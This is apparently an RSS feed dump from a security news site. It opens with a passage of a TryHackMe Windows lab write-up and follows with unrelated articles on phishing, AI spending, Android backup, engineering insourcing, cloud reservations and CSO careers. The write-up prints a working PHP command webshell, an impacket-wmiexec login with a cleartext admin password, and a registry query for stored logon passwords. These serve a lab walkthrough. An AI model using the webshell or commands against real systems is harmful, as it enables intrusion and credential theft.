  • I checked the page source and found the following JavaScript code.
  • The code here revealed the /content.php file and the /images/ endpoint.
  • I visited the /images directory and found the following images that were running on the slideshow.
  • Next, I moved to FTP enumeration. I got access to the FTP directory because anonymous login was enabled.
  • There was a notice.txt file.
  • There was a message left in notice.txt written as follows.
  • It mentioned that the images FTP directory was moved to a Windows file share, which more probably than not referred to SMB shares.
  • Next, I moved on to SMB enumeration.

0x01: SMB Enumeration

  • I used smbclient to list the available shares on the target.
  • Here I could see several custom shares such as images$ , Installs$ and Users.
  • I first checked the images share and found the following images as I had seen in the /images directory on the webpage. I wondered if we could upload a webshell here and gain an initial foothold.
  • I got the PHP reverse shell from PentestMonkey, configured it with my custom IP address and port, and uploaded it to the images SMB share.
  • I navigated to the /images endpoint on the webpage and tried running the webshell but it immediately got flagged by Windows Defender and was deleted.
  • Next, I tried using a different webshell which executed commands and took the input via GET-based parameters.
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
  • I uploaded the shell again to the SMB images share and it worked like a charm!

0x02: Web Shell

  • I was logged in as the sign user. I looked for the user flag in the sign user directory.
  • The user flag was found in the user_flag.txt file.
  • Next, I checked out the Installs share in C:\ directory.
  • The following files were found in the directory.
  • There were a lot of interesting files to check out here. I viewed the contents of every file, starting with Install Guide.txt .
  • I couldn’t figure out how these instructions could be of any use to me, so I moved on to other files.
  • I checked the Install_www_and_deploy.bat script and found the following code.
  • This seemed like a batch script that was running the infamous PsExec tool by Impacket, authenticating with administrator credentials. Here, I could view the admin password in cleartext, which could be used to gain a high-privilege shell to the target.
  • I used Impacket’s WMIExec tool to get a shell on the target. I could have used PsExec, but considering Windows Defender was running on the target, it would have been easily flagged.
impacket-wmiexec Administrator:RCYCc3GIjM0v98HDVJ1KOuUm4xsWUxqZabeofbbpAss9KCKpYfs2rCi@10.48.186.208

0x03: Admin Shell

  • I also had to find the sign user’s password as per the objectives stated in the room. It took me quite a few lookups on Google till I eventually found a way to get the password from the Windows Registry.
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
  • I was able to fetch the user's password from the Winlogon registry key.
  • Next, I had to find the VNC password. My first instinct was to return to the Installs share as before and look through the ultravnc.ini file.
  • I had successfully obtained the VNC password. The only objective that remained was the administrator flag.
  • I checked the Desktop folder of the Administrator and found the admin flag in admin_flag.txt .
  • And with that, all the flags were obtained, and the room was solved!

I hope you found this write-up useful. Make sure to drop a follow for more such content in the future.

Happy Hacking!

AllSignsPoint2Pwnage — TryHackMe Windows Write-up was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

]]> <![CDATA[Hackers Clone Microsoft Login Portals to Capture Credentials and Session Tokens in Real Time]]> https://tsecurity.de/de/3685913/it-security-nachrichten/hackers-clone-microsoft-login-portals-to-capture-credentials-and-session-tokens-in-real-time/ https://tsecurity.de/de/3685913/it-security-nachrichten/hackers-clone-microsoft-login-portals-to-capture-credentials-and-session-tokens-in-real-time/ Wed, 22 Jul 2026 12:14:24 +0200 📰 IT Security Nachrichten tsecurity.de An active adversary-in-the-middle (AiTM) phishing campaign that clones Microsoft authentication pages to intercept credentials, Multi-Factor Authentication (MFA) codes, and session tokens in real time. Rather than relying on simple password harvesting, this technique hijacks authenticated user sessions directly. Detailed by Infoblox Threat Intel researchers Darby Wise and Nick Sundvall, the widespread campaign has targeted universities, [
]

The post Hackers Clone Microsoft Login Portals to Capture Credentials and Session Tokens in Real Time appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

]]> <![CDATA[The AI bill is the easy part. The hard part is everything it changed]]> https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/ https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/ Wed, 22 Jul 2026 12:14:04 +0200 📰 IT Security Nachrichten tsecurity.de

Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.

This June, the conversation shifted from token maxing to token cutting. The New York Times reported that Meta, Uber, Walmart and Amazon are capping employee AI usage. Uber blew through its 2026 AI budget in four months. Satya Nadella started framing it as human capital versus token capital.

All of that is true. None of it answers the CFO. Capping tokens is an input lever, not an output measure. And the human-versus-token framing names two sources of labor when the reality is four.

The enterprise now has 4 sources of labor

There are humans. There are humans assisted by AI. Humans are working alongside AI. And humans are managing AI. Sources two through four are all supervised machine labor at different intensities — none of them have a line item, a manager or an hourly rate. In our 2026 AI Labor Report, 78% of leaders view AI as both software and a labor force. The org chart has not caught up. Neither has the P&L.

Four-source framework and A-Level taxonomy: Lanai · Lanai / Wakefield Research, n=200, March–April 2026
Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026

Lexi Reese

Most enterprises are stuck at A-Level 1 with no accounting for any of it, while quietly sliding into A-Level 2. The job descriptions have not caught up. The budget has not caught up. You cannot upskill into a role that has not been named.

AI is the only category of work the modern enterprise has ever bought without a system of record for what it produced.

What you are actually running is supervised machine labor

The model does a first pass. A human makes it usable. One hundred percent of leaders we surveyed said AI work requires human review before it ships; 34% said substantial editing. That is a workforce with no manager, no hourly rate and no line on the income statement.

The accounting breaks in 3 places at once

Under GAAP: COGS if it helps produce the product, OpEx if it does work for you. The same workflow can hit all three buckets at once. A tier-one support resolution involves the human’s salary (OpEx), the AI’s tokens (COGS if support is a delivered service), and the supervisor’s review time (OpEx). Three buckets. One piece of work. No reconciliation. The token invoice arrives from Anthropic or OpenAI and gets coded to OpEx-software because that is what the bill looks like. Audit partners will be asking about this by next year.

When you call AI a tool, you book it like software. When you call it labor, you have to ask which kind and what it is producing.

The per-employee number is the wrong unit

Per-employee AI spend collapses a workforce into a per-head average. It hides the only number that matters: What AI is producing inside each workflow.

Lanai measured two teams inside the same finance organization. Same monthly prep and variance analysis. AI took the same amount of time to produce outputs of similar quality. The only variable was the model each team reached for by default — a choice nobody had made deliberately and nobody had seen until it was measured.

White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement.
White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement.

Lexi Reese

The gap existed for months before anyone saw it.

Faith-based budgeting — the organizational equivalent of putting money in the collection plate and hoping God handles the ROI — is what made it invisible.

Lanai / Wakefield Research · n=200 · U.S. enterprises 1,000+ · March–April 2026
Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026

Lexi Reese

AI labor orphaning

That is not a measurement problem. It is a category error. We call it AI Labor Orphaning. AI does the work. The output gets credited to the human who approved it. The token bill lands in OpEx-software. The supervision time absorbs into salaried hours nobody is auditing. Eighty-seven percent of leaders admitted AI output is sometimes or always credited entirely to the human employee. This is the last-click attribution problem of the AI era, running in reverse.

What fills the vacuum? Belief. Forty-three percent assume that if AI was involved, it contributed. Only twelve percent have a clear methodology. Seventy-nine percent are worried AI budgets will be cut because they cannot connect spend to results. The cuts are not coming because AI does not work. They are coming because nobody can prove that it did.

Capping tokens may look like responsible governance, but it is like turning off a staticky radio rather than tuning the dial. The companies cutting AI budgets in 2026 will discover in 2027 that they cut the workflows that worked alongside the ones that did not.

The real cost of AI is not the model. It is the redesign

Three layers. Most organizations only manage the first.

Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation.
Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation.

Lexi Reese

What to actually do

The 12% of organizations that can answer the CFO treat AI like every other category of labor — with a cost per AI Work Hour that is accounted for by a set of AI assistants, co-pilots and agents that are held accountable to performance standards. 

  • Audit the four sources separately. Each A-Level has different token economics, SaaS implications and human redesign requirements.
  • Find the embedded SaaS repricing before your next renewal. Pull your top 20 contracts. Ask whether AI features previously included are now priced incrementally.
  • Redesign the human role at A-Level 2 before you scale it. You cannot upskill into a role that has not been named.
  • Build a system of record before you build the next agent. Start with one department. Two weeks. You will find something that surprises you.
  • Stop calling it a tool. Start calling it labor. The language determines the chart of accounts.

When your blended AI rate is $22 an hour, the conversation shifts from ‘we spent $340,000 on AI’ to ‘we acquired a skilled workforce at $22 an hour.’ That sentence is defensible. A vendor invoice is not.

The CIOs who will have a defensible AI story in 2027 are the ones who renamed the work in 2026. Not because technology changed. Because they finally built the accounting to see it.

Findings are drawn from the 2026 AI Labor Report, fielded by Wakefield Research with 200 senior technology leaders at US enterprises of 1,000-plus employees, March 20–April 8, 2026 (±6.9pp at 95% confidence).

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Hackers Clone Microsoft Login Portals to Capture Credentials and Session Tokens in Real Time]]> https://tsecurity.de/de/3685890/it-security-nachrichten/hackers-clone-microsoft-login-portals-to-capture-credentials-and-session-tokens-in-real-time/ https://tsecurity.de/de/3685890/it-security-nachrichten/hackers-clone-microsoft-login-portals-to-capture-credentials-and-session-tokens-in-real-time/ Wed, 22 Jul 2026 12:13:09 +0200 📰 IT Security Nachrichten tsecurity.de An active adversary-in-the-middle (AiTM) phishing campaign that clones Microsoft authentication pages to intercept credentials, Multi-Factor Authentication (MFA) codes, and session tokens in real time. Rather than relying on simple password harvesting, this technique hijacks authenticated user sessions directly. Detailed by


Read more →

The post Hackers Clone Microsoft Login Portals to Capture Credentials and Session Tokens in Real Time appeared first on IT Security News.

]]> <![CDATA[Your instant Android backup upgrade]]> https://tsecurity.de/de/3685867/it-nachrichten/your-instant-android-backup-upgrade/ https://tsecurity.de/de/3685867/it-nachrichten/your-instant-android-backup-upgrade/ Wed, 22 Jul 2026 12:02:52 +0200 📰 IT Nachrichten tsecurity.de

Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.

In many areas of our digital life, that mercifully does Just Workℱ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.

One area where seamless syncing somehow still doesn’t occur, though, is in the domain of downloaded documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on that one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.

Well, take a moment to join me in celebration: Amidst all the Gemini gobbledegook that no one asked for (and that often falls somewhere between “pointless” and “actively counterproductive”), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to you to find and activate it.

Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.

All you’ve gotta do is find and flip that one new switch.

[Don’t let yourself miss an ounce of Android Intelligence. Join my free weekly Android Intelligence newsletter and get one new thing to try in your inbox every Friday!]

The Android backup lowdown

So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.

‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.

Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many other areas of important data are also synced on their own at the app level — outside of any system mechanisms.

Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on that one device and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if you go out of your way to find and set up a third-party app to handle the heavy lifting.

That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself
) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.

See?

Android backup documents
The easily overlooked new option for backing up documents on Android.

JR Raphael, Foundry

The option is on its way to all devices running 2018’s Android 9 release and higher. (If you’re still using a phone with an Android version older than that, you’re now a whopping eight years out of date, and you have much bigger problems.)

Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.

Lemme show ya how.

Android’s document backup addition

I promise: This couldn’t be much simpler.

No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)

Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.

However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.

Android backup options
Android’s expanded list of backup options — now including documents alongside other forms of on-device data.

JR Raphael, Foundry

And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.

If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.

Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That does mean they’ll count against your overall Google storage total, so keep an eye on your Drive storage total to make sure you’re in solid shape and look to the Google One storage hub if you ever want some simple suggestions for freeing up space.

Speaking of other Google services: If you ever want to keep other types of locally stored non-document files from an Android device synced and available elsewhere, you can easily rely on Google Photos for syncing screenshots and other images — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific individual on-device folders if you want to sync some but not all of those areas) — and you can still turn to those aforementioned third-party apps for broader syncing of anything else imaginable.

But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on you to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.

Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that that can only be a good thing.

Get practical Android knowledge in your inbox every Friday with my free Android Intelligence newsletter — one new thing to try each week, straight from me to you.

]]> <![CDATA[From outsourcing to ownership: How we brought development in-house without breaking delivery]]> https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/ https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/ Wed, 22 Jul 2026 11:11:54 +0200 📰 IT Security Nachrichten tsecurity.de

Outsourcing worked – until it didn’t.

After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.

The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but fair questions about IP ownership, operational dependencies and long-term scalability.

Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as insourcing, repatriating or backsourcing) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.

Building an internal engineering organization while still delivering

One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.

When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.

Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.

After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.

At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.

The next challenge was hiring.

In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a product engineering model, where engineers owned broader product outcomes rather than narrowly defined technical functions.

During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.

I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.

Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.

The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH & CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.

Managing risk without slowing down the business

The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.

To reduce delivery risk, we approached the transition in layers.

First, we focused on infrastructure reliability and operational readiness before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.

Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.

Third, we became extremely disciplined about scope management. One of the most common reasons insourcing initiatives fail is uncontrolled change during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.

Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.

By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.

A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.

My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.

The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.

Lessons learned for CTOs considering insourcing

Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.

The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.

Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.

Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.

The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Reselling unused cloud instances is no longer easy]]> https://tsecurity.de/de/3685747/ai-nachrichten/reselling-unused-cloud-instances-is-no-longer-easy/ https://tsecurity.de/de/3685747/ai-nachrichten/reselling-unused-cloud-instances-is-no-longer-easy/ Wed, 22 Jul 2026 11:04:51 +0200 🔧 AI Nachrichten tsecurity.de

A client called me last week with a problem I have been hearing about more often lately. They had made significant reserved instance commitments with a major cloud provider, overbuying for what they thought would be heavy AI training workloads. Now they were sitting on thousands of dollars in idle capacity every month. Their plan was simple: resell it to someone else. Except they couldn’t.

I have been doing cloud consulting for a long time, and this situation once had a straightforward solution. You went to the marketplace, listed your unused reservations, and found a buyer. The process was a bit clunky, but it worked. These days, the answer is far more complicated, and my client learned this the hard way.

AI has made this problem increasingly common. Companies initially committed to compute capacity based on ambitious training plans. Prototype projects were expected to scale, and inference workloads were projected to grow substantially. Then reality hit. Some projects did not materialize. Some models trained faster than expected. Some inference patterns were lighter than anticipated.

Many organizations now hold reserved capacity they can’t use, discard, or share without a complex, increasingly restricted process. This reality is something every company with significant cloud spend needs to clearly understand.

The history of cloud resale

There was once a functioning resale market for cloud reserved instances. AWS, for example, maintained a Reserved Instances Marketplace where companies that had purchased reserved capacity could sell those reservations to other AWS customers. This was a legitimate, AWS-sanctioned process. Companies would register as sellers, list their unused reservations with pricing and terms, and if a buyer appeared, the marketplace would facilitate the transaction.

The resale market was useful for companies that had overestimated their needs or whose business changes reduced their cloud consumption. Instead of simply absorbing the cost of unused commitments, they could recoup some of that investment by selling to other organizations with unmet demand. It created a secondary market that added liquidity to what was otherwise a rigid financial arrangement.

My client had some experience with this resale market a few years ago and assumed they could use it again. They were unpleasantly surprised to learn that the rules had changed.

AWS changes the rules

In January 2024, AWS implemented a significant policy change that effectively shut down the resale of EC2 Reserved Instances on its platform. AWS stopped allowing companies to resell their unused reserved capacity through the Reserved Instance Marketplace or any other official channel. If you have a reserved instance commitment with AWS, you are essentially stuck with it unless you can use it yourself or modify your reservation.

This change had a real impact on companies that had relied on resale as part of their cloud financial management strategy. It reduced flexibility and increased the risk of long-term reserved commitments. When I explained this AWS policy change to my client’s representatives, I could hear the frustration in their voices. They had made their commitment in good faith, carefully modeled their expected AI workloads, and now faced the reality that there was no easy exit.

The reasoning behind this change is not entirely clear, but AWS likely viewed capacity resales as something that complicated their billing and commitment models without providing enough benefit to the overall ecosystem. Regardless of the company’s reasons, the primary resale path for the largest cloud provider has been effectively closed.

What options still exist?

What can companies do now when they find themselves with reserved capacity they no longer need? The first possibility is to work directly with the cloud provider to modify or exchange the reservation if it is convertible. Some reservation types allow modifications, such as changing the instance type, region, or tenancy. This will not eliminate the commitment, but it may help companies better align their reservations with actual workload needs.

The second option is to use third-party brokers and marketplaces that operate independently of the cloud providers. Although AWS has shut down its official resale channel, brokers and marketplaces still facilitate resale arrangements for other cloud providers and for some AWS scenarios. These arrangements can be more complex and carry more risk, but they remain a possibility for companies determined to move unused capacity.

The third alternative is to optimize usage. Companies can invest in better utilization monitoring, workload placement, and automation to ensure that reserved capacity is used as efficiently as possible. This does not recover the money already spent, but it reduces future waste.

My client explored all three alternatives and found that each had significant limitations. Modifications were possible, but only within a narrow range. Third-party brokers were interested, but the process was opaque and uncertain. Optimization helped, but it could not eliminate the fundamental overcommitment they had already made.

The broader implications

Cloud commitments are more rigid than many enterprises initially realize because they lack a liquid market and because providers control modifications, transfers, or cancellations. Right now, I see this pattern most often in the AI space. Companies commit to massive amounts of compute for training and inference based on projections that rarely reflect the actual workloads. Then they are surprised to find themselves locked into payments. The AI boom has led to significant overcommitment because enterprises remain unaware that the resale mechanisms that once existed have been largely shut down.

This is why cloud financial management has become such an important discipline. Companies need to be far more thoughtful about how they commit to cloud resources, how they model their future consumption, and how they build flexibility into their cloud strategies. The days of assuming you can always resell your way out of an overcommitment are effectively over, at least with AWS.

For Azure and Google Cloud, the resale landscape is slightly different, but the same general principles apply. These providers have their own capacity transfer policies and, like AWS, those policies can change at any time. Companies should understand their options before making large, committed purchases and build contingency plans in case their actual usage diverges from their projections—or if resale policies change.

The bottom line is that reselling unused reserved cloud instances is far more complicated than it sounds. The market is not as open as it once was, the options are limited, and the providers themselves hold most of the cards. My client got burned, and I doubt they will be the only one. Companies that want to optimize their cloud spending should focus on accurate forecasting, thoughtful commitment sizing, and ongoing optimization rather than relying on resale as a safety valve. That approach worked at one point, but those days are largely gone.

]]> <![CDATA[Mega Simple Games Launcher]]> https://tsecurity.de/de/3685655/linux-tipps/mega-simple-games-launcher/ https://tsecurity.de/de/3685655/linux-tipps/mega-simple-games-launcher/ Wed, 22 Jul 2026 10:32:21 +0200 🐧 Linux Tipps tsecurity.de /u/korindevs
[link] [comments]]]> <![CDATA[10 survival tips for CSOs who report to the CEO]]> https://tsecurity.de/de/3685496/it-security-nachrichten/10-survival-tips-for-csos-who-report-to-the-ceo/ https://tsecurity.de/de/3685496/it-security-nachrichten/10-survival-tips-for-csos-who-report-to-the-ceo/ Wed, 22 Jul 2026 09:16:42 +0200 📰 IT Security Nachrichten tsecurity.de

As the CSO grows in prominence, security leaders are increasingly earning a seat at the executive table, reporting directly to the CEO with the expectation to help drive business strategy and ensure organizational success.

Reporting to the CEO unlocks greater access and influence for security leaders, and while CSOs who report to their organization’s CIO still have clout, it’s a very different experience picking up the phone to speak directly with the CEO as a strategic partner.

Regardless of reporting structure, CSOs must clearly understand what they are being tasked to solve. That might sound simple, but making the leap to being a CEO’s direct report requires a new perspective, a different set of skills, and a business-level focus on metrics to do so.

We asked several current CSOs, CEOs, and IT staffing experts for advice on how security executives can best navigate a direct reporting relationship with their CEO. Offering insights below are George Gerchow, CSO at Bedrock Data and member of the IANS faculty; Matt Chiodi, CSO of Cerby; Chris Schueler, CEO at Cyderes; and Greg Fuller, vice president of the Technology Skills Suite at Skillsoft.

1. Understand how the CEO views your role

Most CEOs expect that, when you report directly to them, you fully own your functional area. Whether it’s cybersecurity, operations, or finance, they look to you as the expert in that domain. The CEO may have opinions, but ultimately, you are expected to lead and provide direction.

CEOs expect their CSO to be a true strategic partner, not just a risk reporter — connecting cybersecurity to revenue protection, regulatory compliance, customer trust, and operational resilience. In turn, CSOs should expect CEOs to treat governance as a strategic enabler, not a bureaucratic necessity.

2. Power up on skills vital to your organization at an executive level

On the technology side, AI and machine learning, cloud security, incident response, zero trust architecture, and governance, risk, and compliance (GRC) are the areas where threats evolve fastest and strategic leadership has the greatest impact. 

Equally important are “power skills”: communication, critical thinking, adaptability, and emotional intelligence. The ability to translate complex risk into business terms is what separates a strong CSO from a purely technical one. Skills, not titles, define effectiveness in the eyes of a CEO.

3. Take advantage of your direct access

Direct access to the CEO will enable you to influence strategy, shape resilience planning, and ensure cybersecurity is treated as a business imperative rather than a cost center. That authority is strongest when the CEO understands cybersecurity as a strategic lever, not just a technical function. 

While a direct reporting relationship gives you access to the CEO, it also comes with the responsibility to operate at that level. You need to provide clear, executive-level visibility into your cybersecurity program.

4. Brush up on business translation

A CSO who leads with business alignment will always carry more influence when they can translate risk into business language rather than technical jargon. Building programs that must survive an IPO, a FedRAMP audit, and real customer scrutiny forces you to tie security to revenue and trust.

The most valuable skill is translation — defining technical risk in terms of executive action and business impact that a CEO and a board can act on. You must build trust through transparency. These are the human skills that complement technology, creating a collaborative human-AI dynamic where leaders make faster, better-informed decisions. 

5. Treat conversations as risk assessment opportunities

Highly effective security leaders treat every business conversation as a risk conversation in disguise. That mindset is what largely separates a great CSO from a great technologist. Earn the CEO’s trust by speaking business first, security second. Translate every risk into revenue, reputation, or regulatory exposure.

Remember, a good CEO wants a translator, not an alarm system. They expect no surprises, a clear read on the risks that matter, and a security leader who helps the business move faster rather than slowing it down.

6. Define what a successful relationship should look like and put it in writing

Regardless of the reporting relationship, start by defining the end goal and putting it in writing. It will evolve over time, but having that initial clarity is critical. This is especially important when you’re new in a role and aiming to make your first 60, 90, or 120 days, and your first year, successful. In such cases, it’s essential to align early.

Do that collaboratively, and document it.

7. Prioritize trust and candor

The CEO needs to trust that the CSO isn’t sandbagging, and the CSO needs enough psychological safety to deliver bad news fast. When those conditions exist, security becomes a strategic asset — not a cost center.

To that end, focus on clear communication above all, and present yourself as part of a team, not a solo player. Stay calm under pressure during incidents, and treat people as peers rather than policing them. The leaders who last build trust before they need it.

8. Treat governance as a strategic competitive advantage

The strongest partnerships also share a commitment to governance as a competitive advantage.

